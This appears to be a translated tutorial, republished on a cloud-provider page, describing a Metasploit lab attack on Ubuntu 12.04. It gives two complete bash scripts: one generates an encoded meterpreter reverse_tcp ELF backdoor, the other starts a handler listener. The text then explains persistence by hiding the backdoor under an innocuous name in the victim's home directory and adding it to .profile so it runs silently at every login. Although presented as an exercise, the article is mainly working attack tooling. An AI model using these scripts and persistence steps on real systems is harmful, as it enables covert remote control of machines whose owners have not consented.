Metasploit penetration testing of Ubuntu 12.04 (1)

Source: Internet
Author: User

Metasploit penetration testing of Ubuntu 12.04 (1)

This article is mainly about entertaining exercises. Share the Attack Details, including some script files from various sources modified by the original author. The Penetration Process is not the focus. The biggest reason is that the second half of the article is still worth learning about persistence attacks. By the way, you can familiarize yourself with the MSF framework again. Hope to help you.

Attack environment:

Ubuntu12.04LTS 32bit (target, default software installation configuration)

VirtualBox

Metasploit framework (Latest Version)

Debian Squeeze 64bit (attacker)

First, we need to prepare a simple bash script for the binary ELF Executable File generator, so that subsequent work can be much easier. Then place the script in the Metasploit home directory:

 
 
  1. #!/bin/bash  
  2. clear  
  3. echo"************************************************"  
  4. echo " LINUX ELF BINARY GENERATOR FOR METASPLOIT    *"  
  5. echo"************************************************"  
  6. echo -e "What IP are we gonna use  ex. 192.168.0.1?  \c"  
  7. read IP  
  8. echo -e "What Port Number are we gonnalisten to? : \c"  
  9. read port  
  10. ./msfpayloadlinux/x86/meterpreter/reverse_tcp LHOST=$IP LPORT=$port R| ./msfencode -t elf-e x86/shikata_ga_nai >> Executive  
  11. echo "Executive binarygenerated.."  
  12. chmod u=rwx Executive  
  13. ls -la Executive 

After running the script and performing simple configuration, we have a binary executable file named Executive.

Next, we need to start a listener on the attacker to wait for the target to actively connect, because we use the World-Wide reverse backdoor! To work more simply (zhuang) single (bi), I wrote another bash here, and then put the bash file under the Home Directory of Metasploit:

 
 
  1. #!/bin/bash  
  2. clear  
  3. echo"*********************************************"  
  4. echo "   METASPLOIT LINUX METERPRETER LISTENER    *"  
  5. echo"*********************************************"  
  6. echo "Here is a network device listavailable on yor machine"  
  7. cat /proc/net/dev | tr -s  ' ' | cut -d ' ' -f1,2 | sed -e '1,2d'  
  8. echo -e "What network interface are wegonna use ?  \c"  
  9. read interface  
  10. echo -e "What Port Number are we gonnalisten to? : \c"  
  11. read port  
  12. # Get OS name  
  13. OS=`uname`  
  14. IO="" # store IP  
  15. case $OS in  
  16.   Linux) IP=`/sbin/ifconfig $interface | grep 'inet addr:'| grep -v '127.0.0.1' | cut -d: -f2 | awk '{ print$1}'`;;  
  17.    *)IP="Unknown";;  
  18. esac  
  19. echo "      starting the meterpreter listener.."  
  20. ./msfcli exploit/multi/handler  PAYLOAD=linux/x86/meterpreter/reverse_tcp  LHOST=$IP LPORT=$port  E 

Okay, the listener generation is complete, and then we need to transfer the backdoor Trojan to the Ubuntu target in a variety of cumbersome ways. Because this is an exercise, we directly put the ELF file in the victim machine for execution.

The figure below shows a strong voice

Now we have successfully executed this unknown binary file on the target. When we double-click this file, there is no response (the backdoor injection is king at this time), but the listening on our attacker already has the result:

What then? Now we have a meterpreter shell, but how can we get the root permission? The next step is the most interesting part: Next, we will place a backdoor file in the home of the target, and modify the. profile file so that our backdoor will be executed every time the target is started. To do this, we first need to download the. profile file of the target:

We added a little bit of content in the file to ensure that every login can successfully execute our backdoor file. Here we add. /executive (the generated backdoor file name is used. Here we can start some tempting names, such as sys. conf, but make sure that the file has executable + x permissions)

Then we will send the modified. profile file back to the target.

Next, we upload our ELF binary executable file to the home Directory of the target and change it to executive. At the same time, ensure that the file has the RWX attribute.

 

Now we get a simple persistent backdoor. Every time the target starts up, we can get an online shell, and the file is silently executed without any preservatives.

Okay. We have finished the first step of persistence. What can we do next?


Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.